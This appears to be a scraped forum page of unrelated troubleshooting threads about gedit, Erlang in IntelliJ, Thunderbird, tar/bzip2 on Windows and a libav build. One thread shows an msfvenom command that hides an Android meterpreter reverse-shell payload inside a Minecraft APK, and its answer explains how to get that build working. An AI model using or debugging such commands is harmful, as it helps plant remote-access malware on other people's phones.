so, my gedit doesn't open anymore: in command line it shows its classical amount of typical warnings, then stops at a certain point and doesn't do anything else; there below the whole of its output before it (appears to) freeze in the terminal:
(gedit:25142): Gtk-WARNING **: Theme parsing error: gtk-widgets.css:544:12: Expected '('
(gedit:25142): Gtk-WARNING **: Theme parsing error: gtk-widgets.css:1039:0: Junk at end of value
(gedit:25142): Gtk-WARNING **: Theme parsing error: button.css:41:13: Expected '('
(gedit:25142): Gtk-WARNING **: Theme parsing error: button.css:46:29: Expected ',' in color definition
(gedit:25142): Gtk-WARNING **: Theme parsing error: button.css:98:16: Not using units is deprecated. Assuming 'px'.
(gedit:25142): Gtk-WARNING **: Theme parsing error: button.css:98:24: Not using units is deprecated. Assuming 'px'.
(gedit:25142): Gtk-WARNING **: Theme parsing error: toolbar.css:34:23: Not a valid image
(gedit:25142): Gtk-WARNING **: Theme parsing error: toolbar.css:93:22: Not a valid image
(gedit:25142): Gtk-WARNING **: Theme parsing error: popover.css:27:4: Junk at end of value
(gedit:25142): Gtk-WARNING **: Theme parsing error: popover.css:37:17: Expected '('
(gedit:25142): Gtk-WARNING **: Theme parsing error: albumlistview.css:26:20: Not using units is deprecated. Assuming 'px'.
i noticed in my system monitor, that one sh process was creating what i suppose are subprocesses, but of itself, in infinite loop, that is, one sh creating a 'kid sh' and so on, and impossible by the way to stop it although of course for now it doesn't bother me.
anyways, i'd like my gedit back! ^^ i tried to rename the plugin folder to see if it would load without them. (didn't work)
it indeed happens that i was working on a plugin at the time it began to go mad, but it perfectly worked the very last time i opened it, and i haven't changed the plugin between the last good opening and the moment when gedit bugged.
one other important data though: since i was debugging my plugin, i tried (how i thought worked) this method to remove the abovementioned stupid warnings of gedit.
what i then did:
created a foo.sh file, with inside:
_supress() {
eval "$1() { \$(which $1) \"\$#\" 2>&1 | tr -d '\r' | grep -v \"$2\"; }"
}
_supress gedit "WARNING"
following the running of this file, gedit didn't work at all as i wanted; and since i already had one opened gedit at the time, it kept showing me up that opened gedit window, then returning to bash, after precisely showing the above warnings and no more.
but then at the time (when i tried gedit after foo.sh), it returned to bash (after showing me up the opened gedit), while now it doesn't, it only stays running without doing anything visible, "waiting" for ctrl+C.
i obviously missed a clue anyhow on the method of above; i tried other versions, among which:
eval "gedit() { \$(which gedit) \"\$#\" 2>&1 | tr -d '\r' | grep -v \"WARNING\"; }"
again, didn't work;
that's when i realized that, once i closed the last opened gedit window, gedit didn't open anymore at all (aside the above warnings and the staying on the spot);
my sys monitor then told me what i said above (sh self creating in infinite loop, i guess not a coincidence). i tried to restart the whole computer: at reboot it was same story
i'm a bit desperate, and configured gedit well enough for that a total re installation be a complete personal tragedy :(
waiting for help! thanks in advance :)
EDIT: it's kindofa big problem however bc i'm already at +12,000 processes in less than half an hour, and my kernel seems to only allow +32000:
>cat /proc/sys/kernel/pid_max
32768
i don't know though if those sh would show up if i don't open gedit at all on reboot... am gonna try.
EDIT: good news, sh didn't loop again at restart, so i'm pretty sure it's connected to the bug of gedit, and would begin if i retried to reopen gedit.
EDIT: another thing: got no problem at all if running it on root; of course then i don't have all of my personal configuration, but it means it's only "my" gedit that's bugging, though i don't exactly know where would be defined the difference between the two instances... (as obvious from above, i'm fairly newbie on bash&co)
I would start with an empty config directory:
mv $HOME/.config/gedit $HOME/.config/gedit.crap
and re-add bit by bit the old directory content to $HOME/.config/gedit to seek the real culprit.
If you have messed up also the system configuration you should reinstall gedit from scratch.
Related
Setup: IntelliJ IDEA 2022.2.2, Erlang 25.0
I am trying to run the Erlang code available at https://erlangbyexample.org/send-receive. I am able to run in werl and Windows command line. But I am getting the error "init terminating in do_boot" when I run in IntelliJ.
I checked a similar issue reported in this question , wherein the solution was to convert list input to integer/s. However, my Erlang code does not expect any input, it just expects the function name.
Please provide a pointer to resolve the issue.
"C:\Program Files\Erlang OTP\bin\erl.exe" -pa F:/1TB/P/workspace-IntelliJ-Erlang1/out/production/workspace-IntelliJ-Erlang1 -pa F:/1TB/P/workspace-IntelliJ-Erlang1 -eval send_recv:run(). -s init stop -noshell
{"init terminating in do_boot",{undef,[{send_recv,run,[],[]},{erl_eval,do_apply,7,[{file,"erl_eval.erl"},{line,744}]},{init,start_it,1,[{file,"init.erl"},{line,1234}]},{init,start_em,1,[{file,"init.erl"},{line,1220}]},{init,do_boot,3,[{file,"init.erl"},{line,910}]}]}}
init terminating in do_boot ({undef,[{send_recv,run,[],[]},{erl_eval,do_apply,7,[{_},{_}]},{init,start_it,1,[{_},{_}]},{init,start_em,1,[{_},{_}]},{init,do_boot,3,[{_},{_}]}]})
Crash dump is being written to: erl_crash.dump...done
I configured RunConfiguration to BUILD before RUNNING ("Before launch" section). As result, RunConfiguration was creating an empty folder "../out/production/workspace-IntelliJ-Erlang1" without .beam files, if the folder does not exist. It would delete any existing .beam files if the folder exists. Hence, the RUN was failing eventually.
As a workaround, I removed the BUILD before RUNNING option from RunConfiguration. And, I manually built using BuildProject before RunConfiguration.
TODO: I will check why was not RunConfiguration able to generate the .beam file.
Check if there is a file called send_recv.beam in either of the directories specified as code path in the -pa arguments. (The undef error means that it can't find the function send_recv:run/0, more often than not because it can't find the compiled module.)
My guess is that this file is actually in the directory where you ran Erlang from the command prompt, but IntelliJ runs Erlang using another working directory. The current working directory is part of the code path by default, which would be why this works from the command prompt but not within IntelliJ.
I am using thunderbird 91.7.0 with Ubuntu 20.04.4 LTS
I got some issues with no enough free space to make updates (I'm on a laptop) and so I used the command sudo apt autoremove and was then able to make the updates. However, since then, whenever I try to attach a file (either on a new email or in a response) in thunderbird, it instantly crashes without any warning or crash report.
I tried to launch thunderbird in safe-mode with the same result, and the message I get in the terminal as the process finishes is:
~/ $> thunderbird --safe-mode
Gtk-Message: 15:22:22.654: Failed to load module "canberra-gtk-module"
Gtk-Message: 15:22:22.656: Failed to load module "canberra-gtk-module"
[GFX1-]: glxtest: libpci missing
(thunderbird:30046): Gtk-WARNING **: 15:22:37.510: Could not load a pixbuf from icon theme.
This may indicate that pixbuf loaders or the mime database could not be found.
**
Gtk:ERROR:../src/gtk/gtkiconhelper.c:494:ensure_surface_for_gicon: assertion failed (error == NULL): Failed to load /snap/thunderbird/195/data-dir/icons/Yaru/16x16/status/image-missing.png: Unrecognized image file format (gdk-pixbuf-error-quark, 3)
Bail out! Gtk:ERROR:../src/gtk/gtkiconhelper.c:494:ensure_surface_for_gicon: assertion failed (error == NULL): Failed to load /snap/thunderbird/195/data-dir/icons/Yaru/16x16/status/image-missing.png: Unrecognized image file format (gdk-pixbuf-error-quark, 3)
Redirecting call to abort() to mozalloc_abort
ExceptionHandler::GenerateDump cloned child 30391
ExceptionHandler::SendContinueSignalToChild sent continue signal to child
ExceptionHandler::WaitForContinueSignal waiting for continue signal...
Exiting due to channel error.
N.B. #1: it doesn't matter if I click on the 'attach' paperclip button or if I use the short-cut Ctrl-Shift-A command.
N.B. #2: the same occurs if I try to save an attached file from an email in my inbox, but curiously not if I just display it in a new tab in Thunderbird.
N.B. #3: everything else seems working properly...
Any help would be greatly appreciated, because I do not know how to live without TB anymore...
EDIT: here is the crash report
https://crash-stats.thunderbird.net/report/bp-c8db5ddd-d87a-4c89-b006-3c76b1220323
Read all and carefully
Hi, I'm using Kali 2.0 and I love to tweak with it (Sorry for bad english but I'm italian). When I use this command:
msfvenom -x minecraft.apk -p android/meterpreter/reverse_tcp LHOST=IP_ADDRESS LPORT=4444 -o mc.apk
it gives me:
Using APK template: minecraft.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
Error: Malformed version number string 2.4.0
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
I've searched for weeks on all the forums but, I didn't found the solution. I've reinstalled Kali, metasploit-framework, jdk, apktool. Nothing was happened. Any fix?
I have struggled and got the solution. It looks like the problem was with the apktool and also the java environment variables (but in your case it could be only one issue), i uninstalled the apktool & java's(jdk,jre), reinstalled, changed versions through terminal but nothing worked.
FIRST ISSUE (_JAVA_OPTIONS) :
To figure this out i read an issue on github https://github.com/iBotPeaches/Apktool/issues/2325
To temporarily fix it, run the following commands in the same terminal window where you are trying to use msfvenom:
_SILENT_JAVA_OPTIONS="$_JAVA_OPTIONS"
unset _JAVA_OPTIONS
alias='java "$_SILENT_JAVA_OPTIONS"'
To permanently fix it, place the above commands in /root/.bashrc(you have to check Show hidden files in View tab).
Now the above error message should go away, and if there is an issue with your apktool it will be displaying unable to rebuild apk with apktool. So, to figure this out read below:
SECOND ISSUE (Apktool)(unable to rebuild apk with apktool):
I have found that there is a missing file
of apktool located in usr/local/sbin. Delete apktool file from there if exists.
Download linux wrapper script https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/linux/apktool
Download latest apktool from https://bitbucket.org/iBotPeaches/apktool/downloads and rename it to apktool.jar
Now copy both the files (linux wrapper script & apktool.jar) to /user/local/bin
Type apktool in terminal and verify the version
P.S. For those who cant go with the steps for the second issue, go watch this fix https://youtu.be/vxs_fkUHnSw
I'm trying to run this code from : https://github.com/pnnl/safekit ,using cmd on windows 10, I already installed python.
when I type the command:
tar -xjvf data_examples.tar.bz2
I keep getting the error:
tar: Error opening archive: Can't initialize filter; unable to run
program "bzip2 -d"
I have tried to download bzip2 through easy-7 zip and GnuWin32 , but it didn't work.
Can any one help me?
P.S.: I did search for the same problem before posting mine.
If you run the command in git bash instead of cmd it should work.
I've run into the same problem! My non-elegant solution so far has been to force Windows's tar.exe to use the bzip2.exe provided with my Windows Git installation. The trick is to add to your user PATH the directory where bzip2.exe is located, in my case:
C:\Program Files\Git\mingw64\bin
So, right now my PATH looks like:
Path=%USERPROFILE%\AppData\Local\Microsoft\WindowsApps;C:\Program Files\Git\mingw64\bin
Notice that I've only touched the user environment PATH, not the system PATH, and I've appended the new directory. As always, touching your PATH can be a little bit dangerous, proceed with care. If someone has a better solution, I'd be glad to hear it.
Note: I tried copying the bzip2.exe to a separate directory, but this didn't work (I presume because bzip2.exe couldn't find some dependencies).
I have a trouble with libav.
I used MinGW and MSYS to build libav on windows. However, When I use "make", after some file(.o file) were build i get error,
It is
$ make
AR libavcodec/libavcodec.a C:\msys\mingw\bin\ar.exe: libavcodec/: Permission denied
make: *** [libavcodec/libavcodec.a] Error 1
After that, I view the permission of libavcodec folder, I have all permission. :|
Please help me solve this trouble or give me a full instruction to build libav on windows (I use win7 x64 and have msys, mingw)
Thanks!!!
I'm not sure if this is relevant, but I had the same error when trying to make ffmpeg. Initially I was getting a missing separator error (in one of the makefiles) when I used configure. I found a page that suggested checking that git was using unix line endings rather than windows (CR LF). So I used
git config --global core.autocrlf false
to set git to use unix line endings and then thought I'd updated my source (being new to git, it turned out I hadn't). I still got the missing separator error, so I added a tab to the start of the line and configure completed. I then used make and would get the same error you're getting. I saw in some of the other makefiles that they still had windows line endings, so I deleted the entire directory apart from the .git folder as mentioned here, and then used
git reset --hard
to get the files again. After this configure and make worked without error, so my guess would be that you're using windows line endings or there's something wrong with the makefiles.